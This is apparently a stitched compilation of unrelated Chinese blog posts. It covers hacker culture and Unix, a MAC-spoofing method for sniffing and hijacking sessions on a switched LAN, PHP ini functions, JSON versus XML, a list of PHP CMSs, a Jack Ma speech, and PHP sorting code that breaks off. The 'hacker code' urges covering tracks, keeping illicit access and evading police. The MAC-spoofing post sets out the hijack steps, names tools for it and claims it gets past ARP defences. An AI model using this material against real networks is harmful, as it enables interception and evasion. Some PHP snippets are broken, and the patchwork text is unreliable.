Unix诞生于1969年,1969年的东西,流传至今的有哪些?很遗憾,无论是软件还是硬件,除了Unix与创造它的C语言[注2],没有了。为什么Unix生命力会如此旺盛?答案只有一个,在于它的黑客文化与哲学。 哲学是门高深的学问,我们不需要去很彻底的研究它,Unix的哲学就是4个英文字母:K.I.S.S[注3],这也是最核心的设计理念,Unix有许许多多优秀的哲学思想,其中这个是最重要的。用最简单的东西去完成最复杂的东西,这也就是为什么许多没有玩过Unix从而没有机会接触Perl语言的人无法体会这个道理的原因[注4]。Unix的设计者们全是懒人,正是因为这种懒,系统变的简单易用,稳定无比[注5],正是因为这种懒,缔造了一个不朽的传奇。 那么Unix是如何维持如此旺盛的生命力的呢?答案就是——open source movement,开源运动,Unix最初把源码分发给了各大高等学府用于研究,这些学府各自作了修改,发展出了许多不同类型的Unix,但其本质都是差不多的。随着Richard Stallman[注6]建立了FSF并且推出了GNU Project[注7],开源社区兴起,互联网的飞速发展[注8],越来越多的来自全世界的黑客成为了Unix文化和技术的继承者。 Linus Torvalds就是其中一位 Linus做梦也不会想到,当初只是开放一个自己编写的Unix-like的系统源代码会让他有资格在世界的舞台上和Bill Gates同台竞技[注9]。Linux的诞生绝对不是偶然,而是一种必然。 有点偏题了,现在我想问一个问题就是,如果你使用的是Windows,你了解你的系统吗?敢说了解的只有两种人,有权力看代码的微软工作人员和狂妄的人。你有没有为你不知道某个文件或者文件夹到底是干什么的而头疼不已?有没有为无法自己修改系统的某些臃肿的功能而烦恼?有没有为管理员的权限也无法删除某些不必要的系统文件而恼火?如果有,你具有黑客精神,但你用玩错了玩具,如果没有,请关闭这个窗口。 Windows是Business-Desktop Product,是用来卖钱的,可惜大多数国人素质低下,没有去维护他人权益的思想和意识[注10],买来的都是盗版,盗版又怎么样呢?Windows终究是Windows,它不会因为盗版而让你把它的技术公布出来,微软放任着中国盗版很大的一个原因是,他知道中国人的德性,先让你用习惯了,当你习惯了以后,它开始打击盗版[注11],你除了Windows什么都不会,甚至脑子里根本没有还有别的操作系统的概念,就必须花钱买正版,这时你就完了,因为你吸上毒了。 所以,更不用谈你能够从这个系统中学到些什么真正的黑客技术尤其是精神还有文化,右手谁都有。 接下来讲下黑客文化的一些核心思想。 探索:遇到一个问题后,怎么去解决,几种方法解决,哪种最有效率。如果只是满足于把遇到的问题解决了就OK了的话,那是远远不够的。我们不仅要how-to,还要why-to,这里简单举个例子,虽然我已经快一年没用windows了,但无聊的时候突发奇想,写了十个在windows下关闭窗口的方法:

1、单击右上角大X

2、双击标题栏最左边的图标

3、右键单击标题栏选择关闭

4、文件-退出

5、Alt-F4

6、右键单击任务栏,选择关闭

7、Ctrl+Alt+Del,结束相应任务 8、Ctrl+Alt+Del,删除相应进程

9、按主机电源键3秒

10、把电脑扔出窗外 你可以一笑了之,这只是一个例子,我们在利用多种方法解决同一个问题时,可能会遇到更多的问题,这样,你可以学到更多东西,如果你懒的解决多余的问题,那么关闭这个窗口。 创造:这是最关键的,偏偏是中国人现在最大的问题,我们在从一年级(甚至从幼儿园)就被教育要循规蹈矩,按常理解决问题,对待事务,我不得不对这种教育制度说,发克油!我有个妹妹才上一年级,问我,月亮像什么,我说帽子,她说错,书本上写的是香蕉,我听了后也不想多说什么,就跟她说,不要做个听话的孩子,我不知道现在的孩子还有多少是说的出大海倒过来就是蓝天之类的话了[注12]。没有创造力,你模仿的再好也没用,社会,包括你的技术不会因为你的模仿能力强而进步。 分享与合作:黑客的技术成长90%要靠自己,10%要靠与他人的交流,分享与合作。不懂得合作、分享的人永远是井底之蛙。最好的例子就是多看别人写的源代码,这是公认的提高技术最快的方法,但是问题在于我们应该怎么去看,怎么去学,还是那句老话,模仿是不会让你的技术有任何进步。 道德准则:谦虚,友好,热情,还有很多,这些是一个人的品德问题,学黑客先学做人,不多说了,列出比较标准的黑客守则:

1) Never damage any system. This will only get you into trouble. 不恶意破坏任何系统, 这样做只会给你带来麻烦。恶意破坏它人的软件或系统将导致法律刑责, 如果你只是使用电脑,那仅为非法使用!!注意:千万不要破坏别人的软件或资料!!

2) Never alter any of the systems files, except for those needed to insure that you are not detected, and those to insure that you have access into that computer in the future. 绝不修改任何系统文件,除非你认为有绝对把握的文件,或者要改那些文件是为了使你自己在以后更容易的再次进入这个系统而必须更改的。

3) Do not share any information about your hacking projects with anyone but those you’d trust. 不要将你已破解的任何信息与人分享,除非此人绝对可以信赖。

4) When posting on BBS’s (Bulletin Board Systems) be as vague as possible when describing your current hacking projects. BBS’s CAN be monitered by law enforcement. 当你发送相关信息到BBS(电子公告板)时,对于你当前所做的黑事尽可能说的含糊一些,以避免BBS受到警告。

5) Never use anyone’s real name or real phone number when posting on a BBS. 在BBS上Post文章的时候不要使用真名和真实的电话号码。

6) Never leave your handle on any systems that you hack in to. 如果你黑了某个系统,绝对不要留下任何的蛛丝马迹。(绝对不要留下大名或者是绰号之类的,这时由于成功的兴奋所导致的个人过度表现欲望会害死你的。)

7) DO NOT hack government computers. 不要侵入或破坏政府机关的主机。

8) Never speak about hacking projects over your home telephone line. 不在家庭电话中谈论你Hack的任何事情。

9) Be paranoid. Keep all of your hacking materials in a safe place. 将你的黑客资料放在安全的地方。

10) To become a real hacker, you have to hack. You can’t just sit around reading text files and hanging out on BBS’s. This is not what hacking is all about. 想真正成为黑客,你必须真枪实弹去做黑客应该做的事情。你不能仅仅靠坐在家里读些黑客之类的文章或者从BBS中扒点东西,就能成为黑客,这不是“黑客”的真正含义。 说了那么多,还有一个最关键的就是,爱国,不要去黑自己国家的网站,中国人最大的问题就是不团结,谁都想当老大,谁都不服谁,自私是中国人的劣根。朋友,懂得teamwork吧!真正爱国的人不会一天到晚说日本人的不是,美国人的不是,而是珍惜时间,学好技术随时为祖国作贡献的人[注13]。 如果说Windows是属于美国人的,那么Linux就是属于全人类的。你可以在Linux下做你任何想做的事,自由就是唯一的规则。 最后还是要说,黑客是种精神,你不需要拥有顶极的技术,但只要你真正具有这样的精神,你可以自豪的说自己是黑客[注14]。So,看到这里还没有关闭窗口的人,我相信你们会成功。 推荐一些优秀的参考资料: 《Revolution OS》,一部讲述Linux与开源运动的电影,与其说是电影,不如说是纪录片,是由一些采访和阐述组成的,世界顶极黑客Richard Stallman,Eric Raymond等人在片中对黑客的文化,精神,以及历史作了详细解释与说明,强烈推荐。 《The Art of Unix Programming》,这本书为Eric Raymond所作,编写历时五年,汇集了13位Unix先驱的评论,是经典中的经典,讲述的更多的不是技术而是Unix的黑客哲学,我看的是原版,因为网上的评价是翻译的不好[注15]。 P.S 实在看不下去中国所有的黑客的网站除了一些基本的网络只是几乎全是讲Windows下的工具使用,入侵。说的直接点,不懂Unix的人不懂电脑,更别说懂黑客了,这句话一点也不偏激。

注1:右手代表着很多意思,他们只会用左脑或者可以理解为他们只会用鼠标,等等 注

2:在1969年并没有C语言,最初的Unix是由汇编与B语言一起写出来的,后来在Ken Thompson与Dennis Ritchard发明了C后由C重写了Unix的代码

注3: Keep It Simple , Stupid

注4:Perl的原代码除了在编写好的一个月以内编写者本人看的懂以外,别人根本不可能在没有注释的情况下看懂(编写者本人如果一个月不去维护,一个月后自己看不懂),这种说法毫不夸张,有许多这样的例子。

注5:别跟我说按鼠标方便,我会举出一大堆例子让你反悔,稳定性更不必说

注6:这个人我不想多介绍,我最喜欢的黑客,世界公认的顶极程序设计师

注7:Free Software Foundation:自由软件基金会,GNU:GNU’s Not Unix

注8:网络和Unix是穿同一条开裆裤长大的,黑客们发展了网络,发展了Unix

注9:Linus为Linux做的贡献非常小,在我看来,他只是撒了种子这么简单,真正灌水施肥的是来自全世界的无数优秀无比的黑客

注10:连维护自己的知识产权的意识都没有,这是相当不好的氛围

注11:现在听说什么盗版验证什么的,在右下角会出现的那个东西就是微软采取的措施,它随便打个防伪的补丁就可以把你毙了

注12:我们小学的时候说出了一块砖头的35种用法,而且是因为课时不够的才停止的,不知道现在的小学生怎么样

注13:学任何技术,不只是,7分为自己,3分为国家,别去想着钱的问题,你真的有本事,你怕没钱赚?我踏妈最讨厌别人跟我说现在学计算机的人太多了,没钱途的。

注14:不过如果想让别人也认同你是黑客,你必须有出众的技术,并且得到老一辈的认可。

注15:有能力看原版的千万别买翻译的看,想象一下,最经典的C++ Primer竟然可以交给一个把Shell Programming翻译成外壳编程的人翻。

无ARP欺骗的嗅探技术

ARP欺骗的攻击和防御技术都比较成熟了,这里也不再阐述。此次重点讲解如何不用ARP欺骗进行嗅探以及会话劫持的技术原理,实际的攻击方法是进行MAC欺骗。

一、原理:

在开始之前我们先简单了解一下交换机转发过程:交换机的一个端口收到一个数据帧时,首先检查改数据帧的目的MAC地址在MAC地址表(CAM)对应的端口,如果目的端口与源端口不为同一个端口,则把帧从目的端口转发出去,同时更新MAC地址表中源端口与源MAC的对应关系;如果目的端口与源端口相同,则丢弃该帧。

有如下的工作场景:

一个4口的switch,端口分别为Port.A、Port.B、Port.C、Port.D对应主机 A,B,C,D,其中D为网关。

当主机A向B发送数据时,A主机按照OSI往下封装数据帧,过程中,会根据IP地址查找到B主机的MAC地址,填充到数据帧中的目的MAC地址。发送之前网卡的MAC层协议控制电路也会先做个判断,如果目的MAC相同于本网卡的MAC,则不会发送,反之网卡将这份数据发送出去。Port.A接收到数据帧,交换机按照上述的检查过程,在MAC地址表发现B的MAC地址(数据帧目的MAC)所在端口号为Port.B,而数据来源的端口号为Port.A,则交换机将数据帧从端口Port.B转发出去。B主机就收到这个数据帧了。

图1

这个寻址过程也可以概括为IP->MAC->PORT,ARP欺骗是欺骗了IP/MAC的应关系,而MAC欺骗则是欺骗了MAC/PORT的对应关系。比较早的攻击方法是泛洪交换机的MAC地址,这样确实会使交换机以广播模式工作从而达到嗅探的目的,但是会造成交换机负载过大,网络缓慢和丢包甚至瘫痪,我们不采用这种方法。

二、实战

工作环境为上述的4口swith,软件以cncert的httphijack 为例,应用为A主机劫持C主机的数据。

以下是劫持过程(da为目的MAC,sa为源MAC)

1.       A发送任意da=网关.mac、sa=B.mac的数据包到网关。

这样就表明b.mac 对应的是port.a,在一段时间内,交换机会把发往b.mac 的数据帧全部发到a主机。这个时间一直持续到b主机发送一个数据包,或者另外一个da=网关.mac、sa=b.mac的数据包产生前。

图2

2. A 主机收到网关发给B的数据,记录或修改之后要转发给B,在转发前要

发送一个请求B.MAC的广播,这个包是正常的

MAC信息为:da=FFFFFFFFFF、sa=a.mac。

这个数据帧表明了a.mac对应port.a,同时会激发b主机响应一个应答包

MAC信息为:da=a.mac、sa=b.mac

这个数据帧表明了 b.mac对应port.b

至此,对应关系已经恢复,A主机将劫持到的数据可顺利转发至B

图3

3. 转发劫持到的数据到B,完成一次劫持

三、攻击特点

1.       由于这种攻击方法具有时间分段特性,所以对方的流量越大,劫持频率也越低,网络越稳定。

2.       隐蔽性强,基于1的特殊性和工作本质,可以在ARP防火墙和双向绑定的环境中工作。

四、如何防护

高级的交换机可以采用ip+mac+port 绑定,控制CAM表的自动学习。目前尚无软件可以防护此类攻击

五、利用工具

1.httphijack beta 2 说明:http会话劫持

2.ssclone 说明:交换环境下的会话复制软件(gmail,qqmail,sohumail…..)

3.skiller 说明:流量控制

针对PHP配置文件 PHP最常用的ini函数

php的配置函数就是几个ini_*的函数,主要是针对配置文件的操作,其实就四个函数:ini_get、ini_set、ini_get_all、ini_restore。个人感觉最有用的就是ini_set和ini_get。

* ini_get():获取配置文件的选项值

这个函数相信很多人都使过,就是获取配置文件中某一个选项的值,如果是true值就返回1,如果是false值就返回0,字符串就返回字符串。

比如手册中的例子:

<?php

/*

Our php.ini contains the following settings:

display_errors = On

register_globals = Off

post_max_size = 8M

*/

echo ‘display_errors = ‘ . ini_get(‘display_errors’) . “ ”; //显示错误是否打开

echo ‘register_globals = ‘ . ini_get(‘register_globals’) . “ ”;//全局变量是否打开

echo ‘post_max_size = ‘ . ini_get(‘post_max_size’) . “ ”;//最多能提交的文件大小

echo ‘post_max_size+1 = ‘ . (ini_get(‘post_max_size’)+1) . “ ”;

?>

输出:

display_errors = 1

register_globals = 0

post_max_size = 8M

post_max_size+1 = 9

这个函数主要是为了获取配置文件,可以方便你很多操作。比如你想操作字符串过滤,但是又不清楚magic_quotes_gpc有没有打开,所以你就可以这样写一个函数:

/* 字符串过滤函数 */

function stringFilter($str)

{

if (ini_get(‘magic_quotes_gpc)’) {

return $str;

} else {

return addslashes($str);

}

}

当然,如果你无法知道你的全局变量是否打开,也可以定制这样的函数:

/* 变量检测函数 */

function getGetVar($var)

{

if (ini_set(‘register_gobals’)) {

return $var;

} else {

return $_GET['var'];

}

}

当然,你可以做很多用途,自己慢慢体会。

* ini_set函数:设置php.ini中的某些变量值

这个函数是设置选项中的值,在执行函数后生效,脚本结束的时候,这个设置也失效。不是所有的选项都能被改函数设置的。具体那些值能够设置,可以查看手册中的列表。

就是能够设置php.ini中的选项值比如,display_error选项关闭了,但是你要显示程序中的错误信息,方便你调试程序,那么就可以使用这个函数:

ini_set(“display_errors”, “On”);

那么在你这个页面的程序都会显示错误信息了,而且你还可以使用error_reporting来设置显示的错误信息级别。

如果你需要增加脚本执行时间,那么可以设置:

ini_set(“max_execution_time”, “180”);

那么脚本执行时间就由默认的30秒变为180秒,当然,你也可以使用set_time_limit()来设置。

其实你把ini_set和ini_get结合使的话,非常好。比如你想在配置文件里添加自己的包含文件路径,但是你有没有权限更改php.ini,那么你可以结合两个函数:

ini_set(‘include_path’,ini_get(’include_path’)。‘:/your_include_dir:’);

* ini_get_all: 获取所有的设置选项变量

把所有选项值以数组的形式返回,方便你当phpinfo()无法使用的时候来使用。

手册例子,比如:

<?php

$inis = ini_get_all();

print_r($inis);

?>

部分输出:

Array

[allow_call_time_pass_reference] => Array

[global_value] => 1

[local_value] => 1

[access] => 6

[allow_url_fopen] => Array

[global_value] => 1

[local_value] => 1

[access] => 7

* ini_restore: 回复配置文件默认的值

就是回复配置文件默认的值,当你使用ini_set设置后可以使用它来恢复。

JSON是什么?它能带来什么?

有一种叫做JSON (JavaScript Object Notation) 的轻量级数据交换格式能够替代XML的工作.

优点:

1. 数据格式比较简单, 易于读写, 格式都是压缩的, 占用带宽小

2. 易于解析这种语言, 客户端JavaScript可以简单的通过eval()进行JSON数据的读取

3. 支持多种语言, 包括ActionScript, C, C#, ColdFusion, Java, JavaScript, Perl, PHP, Python, Ruby等语言服务器端语言, 便于服务器端的解析

4. 在PHP世界, 已经有PHP-JSON和JSON-PHP出现了, 便于PHP序列化后的程序直接调用. PHP服务器端的对象、数组等能够直接生JSON格式, 便于客户端的访问提取.   另外PHP的PEAR类已经提出了支持 (http://pear.php.net/pepr/pepr-proposal-show.php?id=198)

5. 因为JSON格式能够直接为服务器端代码使用, 大大简化了服务器端和客户端的代码开发量, 但是完成的任务不变, 且易于维护缺点:1. 没有XML格式这么推广的深入人心和使用广泛, 没有XML那么通用性2. JSON格式目前在Web Service中推广还属于初级阶段

PS: 据说Google的Ajax是使用 JSON+模板 做的啊

json是什么
json是什么

JSON与XML的比较
◆可读性
JSON和XML的可读性可谓不相上下,一边是简易的语法,一边是规范的标签形式,很难分出胜负。
◆可扩展性
XML天生有很好的扩展性,JSON当然也有,没有什么是XML能扩展,JSON不能的。不过 JSON在Javascript主场作战,可以存储Javascript复合对象,有着xml不可比拟的优势。
◆编码难度
XML有丰富的编码工具,比如Dom4j、JDom等,JSON也有json.org提供的工具。无工具的情况下,相信熟练的开发人员一样能很快的写出想要的xml文档和JSON字符串,不过,xml文档要多很多结构上的字符。
◆解码难度
XML的解析方式有两种:
一是通过文档模型解析,也就是通过父标签索引出一组标记。例如:xmlData.getElementsByTagName(“tagName”),但是这样是要在预先知道文档结构的情况下使用,无法进行通用的封装。
另外一种方法是遍历节点(document 以及 childNodes)。这个可以通过递归来实现,不过解析出来的数据仍旧是形式各异,往往也不能满足预先的要求。
凡是这样可扩展的结构数据解析起来一定都很困难。
JSON也同样如此。如果预先知道JSON结构的情况下,使用JSON进行数据传递简直是太美妙了,可以写出很实用美观可读性强的代码。如果你是纯粹的前台开发人员,一定会非常喜欢JSON。但是如果你是一个应用开发人员,就不是那么喜欢了,毕竟 xml才是真正的结构化标记语言,用于进行数据传递。
而如果不知道JSON的结构而去解析JSON的话,那简直是噩梦。费时费力不说,代码也会变得冗余拖沓,得到的结果也不尽人意。但是这样也不影响众多前台开发人员选择JSON。因为json.js中的toJSONString()就可以看到 JSON的字符串结构。当然不是使用这个字符串,这样仍旧是噩梦。常用JSON的人看到这个字符串之后,就对JSON的结构很明了了,就更容易的操作 JSON。
以上是在Javascript中仅对于数据传递的xml与JSON的解析。在 Javascript地盘内,JSON毕竟是主场作战,其优势当然要远远优越于xml。如果JSON中存储Javascript复合对象,而且不知道其结构的话,我相信很多程序员也一样是哭着解析JSON的。
◆实例比较
XML和JSON都使用结构化方法来标记数据,下面来做一个简单的比较。
用XML表示中国部分省市数据如下:
<?xml version=”1.0″ encoding=”utf-8″?>
<country>
<name>中国</name>
<province>
<name>黑龙江</name>
<citys>
<city>哈尔滨</city>
<city>大庆</city>
</citys>
</province>
<province>
<name>广东</name>
<citys>
<city>广州</city>
<city>深圳</city>
<city>珠海</city>
</citys>
</province>
<province>
<name>台湾</name>
<citys>
<city>台北</city>
<city>高雄</city>
</citys>
</province>
<province>
<name>新疆</name>
<citys>
<city>乌鲁木齐</city>
</citys>
</province>
</country>
用JSON表示如下:
{
name:”中国”,
province:[
{
name:"黑龙江",
citys:{
city:["哈尔滨","大庆"]
}
},
{
name:”广东”,
citys:{
city:["广州","深圳","珠海"]
}
},
{
name:”台湾”,
citys:{
city:["台北","高雄"]
}
},
{
name:”新疆”,
citys:{
city:["乌鲁木齐"]
}
}
]
}
编码的可读性,xml有明显的优势,毕竟人类的语言更贴近这样的说明结构。json读起来更像一个数据块,读起来就比较费解了。不过,我们读起来费解的语言,恰恰是适合机器阅读,所以通过json的索引.province[0].name就能够读取“黑龙江”这个值。
编码的手写难度来说,xml还是舒服一些,好读当然就好写。不过写出来的字符JSON就明显少很多。去掉空白制表以及换行的话,JSON就是密密麻麻的有用数据,而xml却包含很多重复的标记字符。

10个最好的免费php网站后台管理系统

!          10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

2007年开源cms第一名!Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,可以在 Linux、Windows、MacOSX等各种不同的平台上执行。操作接口除了美观之外,也花了很多心力在设计这些接口的简易操作性。但初次使用者,需要花一点时间学习一下操作的方式,才能运用自如。

这款CMS与Drupal一样,在中国及其他国家的应用还是很多的,尤指公司,希望中国的CMS能快速崛起,让国外的公司用我们的软件,(而且咱们不出外文版,让他们自己翻译,补丁说明也要用中文的,让我们每天查电子词典的朋友们长长的出口恶气,然后咱们卖给他们中英互译的电子词典呵呵~~)。

官方网站: www.joomla.org

2. Drupal            10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

Drupal 它可以让个人或社区使用者很容易地发表、管理并组织一个网站里大量且多样的内容。已经有许多个人和组织采用Drupal来建立各种不同的网站。Drupal是一套采用GPL授权的开放源码软件,是由数以千计的使用者和开发人员所共同维护和开发的。

同joomla一样,全球应用比较多的CMS,很多朋友多少也听说过其大名。

官方网站: www.drupal.org

3. Mambo            10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

一个国外的CMS系统,功能很强大,支持添加很多组件,模块;拥有丰富的模板.Mambo是一个网站内容管理系统(CMS),它是网站的后台引擎,使网站内容的创建、管理和共享更加简易。Mambo十分强大,但官方网站网站也承认,它不是典型的“门户”网站解决方案。

曼波也不错,要是中文的就好了~~那样他会在中国生根、发芽、开花、结果~~

官方网站:www.mamboserver.com

4. DEDECMS 10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

一款国内开源的cms,作者是一个个人,能做出如此功能的cms,是相当不错的。2007版功能十分强大,希望能改善之前数据量一大,更新静态页就很慢的缺点。因为开源,有较多的玩家和拥护者。非常适合有一定编程基础的站长。

个人感觉织梦的发展还是不错的,界面也很“和谐”O(∩_∩)O~ ,在中国的名气也很好,有次换工作,公司的人员打电话给,问:你会常见CMS么?比如说:织梦、帝国 … …啦。看来在公司的人员也并非都用的Drupal或是jomlla之类的,呵呵..

10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页官方网站: www.dedecms.com

5. phpcms     10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

一个综合的网站管理系统,由PHP+MYSQL构架全站生成html,能够快速高效地应用于LINUX和WINDOWS服务器平台,是目前中国LINUX环境下最佳的网站管理应用解决方案之一。现在已经被酷6收购。

个人在应用的时候发现,还是用上一个年度的版本更稳定些(比如说现在是2009年,最好用2008版的),因为各种BUG很多,毕竟还在不断的完善,而上个版本在经历的长时间的使用,程序方面更加成熟。

官方网站: www.phpcms.cn

6. 帝国网站管理系统 10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

Ecms全称为”帝国网站管理系统”,英文译为”Empire CMS”简称”Ecms”.Ecms是基于B S结构,且功能强大而易用的网站管理系统.是一个经过完善设计的适用于Linux windows Unix等环境下高效的网站解决方案。

在全国的知名度还是很高的,各种采集器(虽然想做优秀网站,这个不是必须的,但对很多朋友还是有用的)比较齐全。

官方网站: www.phome.net

7. php168 10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

PHP168整站系统,代码全部开源,可方便的进行二次开发,功能模块可以自由安装与删除,个人用户免费使用。系统频道模块很多,适合作个人门户网站。较多页面没有生成静态页。如果你想建站,就义无反顾的选择它吧!!!

官方网站: www.php168.com

8. HBcms 10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

一个以PHP官方网站推荐的PEAR+SMARTY技术架构的cms,比较容易上手,适合没经验的新人做网站。没有下载,分类信息等模块,适合做文章为主的网站。全站生成静态页,默认附带了几套模板,可以方便的更换模板。个人企业都免费,无需授权。

官方网站: www.hbcms.com

9. SupSite 10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

是康盛的产品,一款将论坛资源自动转换成门户网站的php程序系统,使用SupeSite,并利用你现有的discuz!论坛,你将自动拥有一个功能完备的,资源丰富的站点系统;由论坛变成网站,一切都是自动完成,你不需要任何干涉。让你轻轻松松实现建立网站的目的。

官方网站: www.supsite.net

10. WordPress (这个不算cms,是blog)10个最好的免费php网站后台管理系统 - 客陶 - qdh68的个人主页

虽然我们熟悉的WordPress是一款非常优秀的PHP和MySQL的Blog软件,但是它完全可以当作CMS系统来用。从WordPress官方最近几个版本的升级中可以看出,工作人员正在把WordPress向一个小型的正规CMS势头发展。

官方网站: www.wordpress.org

其实除了这些CMS之外,还是有不少的,比如:site server、锐商企业CMS、FOREX CMS(外汇等专用的)、速贝CMS等,不局限于PHP,看大家的个人喜好了我就不妄加评论了。

马云:未来的创新要靠80后、90后

一个多月以前我去台湾,在一个餐桌上,有一批年纪很大的企业家,头发都很白了,每个人都大谈创新,怎么创新?边上有个人跟我讲,台湾有希望,我想这么大年纪的人还在创新。后来我说台湾没希望了。假如七八十岁的人还在创新,我们问题就大了,他们不相信年轻人比他们更会创新,其实他们应该是尽全力去努力帮助年轻人去创新,建个平台扶持他们创新、帮助他们创新。

所以我们认为比年轻人更聪明,那灾难就出现了。我经常看见父母骂孩子,我有一个亲戚把孩子逼得团团转,每天要读书,我说儿子都不愿意回家,为什么还让他读书。他说我就是读书没读好,我没读好,他就吃了大苦,他就必须读好。我说你没读好,他初中都还没毕业都不想读书了,他比你还糟糕。我们很多人都说80后不行了、90后不行了。这个世界上孩子们出了什么问题?我觉得还是没有出问题,是我们出问题了。我父亲认为我不如他,争论了将近20年,每次吃饭就吵架,直到前几年我说,我把儿子十六七岁养到了一米八,你把我养成这个样子,我对父亲说你看你本事大,还是我本事大。

事情发生了很大的变化,我们的孩子永远超越我,我的父亲超越了我爷爷,我超越了我父亲,我也坚信我的孩子会超越我。假如我们对自己的孩子没有信心,我不知道我们对未来还会有信心吗?孩子是我们的产品,一个老板对自己的产品没有信心的时候,你怎么相信这个产品会走出去?所以我们今天不管讲绿色,还是思想的盛宴,这个盛宴是80后、90后的孩子给我们做的。绿色价值观首先拿在自己手上,这个灾难是谁搞出来的,是上一代人搞出来的。我们父亲说得很牛逼,但是,文化大革命是谁搞出来的,是你们搞出来的。我们在收拾这个残局,我们的孩子们为我们收拾残局,为什么他们不行了?

你说孩子们不承担责任,你问问看,汶川大地震冲在第一线的是 80后,玉树地震冲在第一线的是80后。我爷爷相信报纸,我们父亲相信收音机,我们这代人相信看电视,孩子们谁都不相信,他 们相信自己的观点。他们只不过以不同方式向我们表达而已。我们总说孩子不听话,请问我们听了孩子的话没有。我父亲说了我20年不听 话,他从来没听过我说话。孩子们在想什么,事实上我认为,有时候需要跟孩子谈抗日战争、解放战争,他会说瞎扯什么呢?这些东西都过去了,看看未来吧。我第一次说我拒绝吃鱼翅,我跟你讲鱼翅真不要吃,90%的鱼翅是假的。

对绿色环保主义者,我有一个建议,他是理想主义,操作手法有问题,其实很多时候就是沟通的问题,跟孩子的沟通也是一样。我孩子17岁,跑过来跟我说:父亲,我要找女朋友 了。我说好事儿啊,为什么?他说97%我这个年龄的人都有女朋友了,我说好。第一告诉我这97%的数据从哪里来,他就说不清楚。第二,我个人认为,应该讲我觉得,假如你爱上一个姑娘,那个姑娘也爱上你,我坚决支持。我们过来这一代,都很正常,他不想这个才不正常,他都懂,只不过不懂装懂而已。他们是不懂装懂,我们是懂装不懂,我一定支持你。如果97%的人都找对象了,你不找对象 我觉得不太靠谱了。最后他就会慢慢思考,其实我们只要学会跟他们沟通,去倾听他们沟通,你说鱼翅不吃,我们在阿里巴巴淘宝网上爱吃鱼翅的时候,我从来没有见到过一次,我们所有政策永远反对,只有这一次连续几千人跟帖,所有人都是支持的。我们一直说我们这一代人拿不到诺贝尔奖,我也保证我们这代人很难拿到,但是我们的孩子们一定能拿到。我们永远说为国争光是拿不到的。而人家是为人类做的。我觉得我们80后、90后做了很多有意义的事情。

我们公司90%以上的员工是80后,他们创造的公司连父母想都不敢想,创造出几千亿市场,几千亿的创新。为什么讲这个,下午有一个争论提到,我们总认为自己是对的,我们吃过苦,要告诉孩子们,但是不要让孩子们重新走我 们走过的路,重新我们走过的路是错误的。谁都会犯错,我们没有过偶像吗?还是我父亲没有过偶像?你说杨子荣啊、李玉和都是他们的偶像。所以我们不是去埋怨,好孩子是表扬出来的。80后、90后既然承担着我们的未来,我们就要支持他们,没有人给过我们机 会,我们为什么不给他们机会。所以我给大家讲的,今天解决这些问题,我坚决相信解决的方案一定比困难多,孩子们一定比我们 有更多办法。假如我们对他们失去信心,那么我们对未来的信心全是假的。我们懂得开放,他们比我们更懂得未来,他们更懂得承担这个责 任,只不过我们不愿意倾听而已。最后我想公益者、环保者也好,要允许企业家,和谐的目的是穷人跟富人共同存在,有不同观点存在,那才叫和谐。所以我觉得我们允许孩子有不同的观点。

我最后讲一个故事就结束。我在北京买了一个大雕塑,3.6米高,王中军给我介绍的。光屁股大汉,全身裸体,我觉得特有意思,我就买回来放在大楼里,公司一片争论声,这个东西太黄色了。为什么马云把它搬回来,一定有目的的。各种各样的猜测、各种各样的说法、各种各样的人都很多。参观的人很多,为什么想知道阿里巴巴大楼里搞一个光屁股男人放在那儿,甚至我们的员工要做条短裤给他穿上,太难看了。一定有一个统一的标准说法,这个标准说法是什么,他们问我说没有标准说法,我就觉得这个挺美。我问你,你喜欢吗,喜欢。这个人说喜欢。我说很好。这个人说不喜欢,我说也很好。我们就需要这种思想,让每个人发表不同的观点,但是最终作出决定,还得往前走。所以我看到的80后、90后,他们为全人类承担责任,为这代人争光,不是为某一个群体。给他们一些信任、给他们一些支持。鲁迅说“关心我们自己的孩子,就是关心我们的未来”。我们的盛宴才会起来,否则今后都是悲剧。我要讲的就是这些。谢谢大家。

(本文来自阿里巴巴董事局主席马云在一次会议中的主题演讲)

一些重要的php算法和应用

1. 使用PHP描述冒泡排序和快速排序算法,对象可以是一个数组
//冒泡排序(数组排序)
function bubble_sort($array)
{
$count = count($array);
if ($count <= 0) return false;
for($i=0; $i<$count; $i++){
for($j=$count-1; $j>$i; $j–){
if ($array[$j] < $array[$j-1]){
$tmp = $array[$j];
$array[$j] = $array[$j-1];
$array[$j-1] = $tmp;
}
}
}
return $array;
}
//快速排序(数组排序)
function quick_sort($array) {
if (count($array) <= 1) return $array;
$key = $array[0];
$left_arr = array();
$right_arr = array();
for ($i=1; $i<count($array); $i++){
if ($array[$i] <= $key)
$left_arr[] = $array[$i];
else
$right_arr[] = $array[$i];
}
$left_arr = quick_sort($left_arr);
$right_arr = quick_sort($right_arr);
return array_merge($left_arr, array($key), $right_arr);
}
2. 使用PHP描述顺序查找和二分查找(也叫做折半查找)算法,顺序查找必须考虑效率,对象可以是一个有序数组
//二分查找(数组里查找某个元素)
function bin_sch($array, $low, $high, $k){
if ($low <= $high){
$mid = intval(($low+$high)/2);
if ($array[$mid] == $k){
return $mid;
}elseif ($k < $array[$mid]){
return bin_sch($array, $low, $mid-1, $k);
}else{
return bin_sch($array, $mid+1, $high, $k);
}
}
return -1;
}
//顺序查找(数组里查找某个元素)
function seq_sch($array, $n, $k){
$array[$n] = $k;
for($i=0; $i<$n; $i++){
if($array[$i]==$k){
break;
}
}
if ($i<$n){
return $i;
}else{
return -1;
}
}
3. 写一个二维数组排序算法函数,能够具有通用性,可以调用php内置函数
//二维数组排序, $arr是数据,$keys是排序的健值,$order是排序规则,1是升序,0是降序
function array_sort($arr, $keys, $order=0) {
if (!is_array($arr)) {
return false;
}
$keysvalue = array();
foreach($arr as $key => $val) {
$keysvalue[$key] = $val[$keys];
}
if($order == 0){
asort($keysvalue);
}else {
arsort($keysvalue);
}
reset($keysvalue);
foreach($keysvalue as $key => $vals) {
$keysort[$key] = $key;
}
$new_array = array();
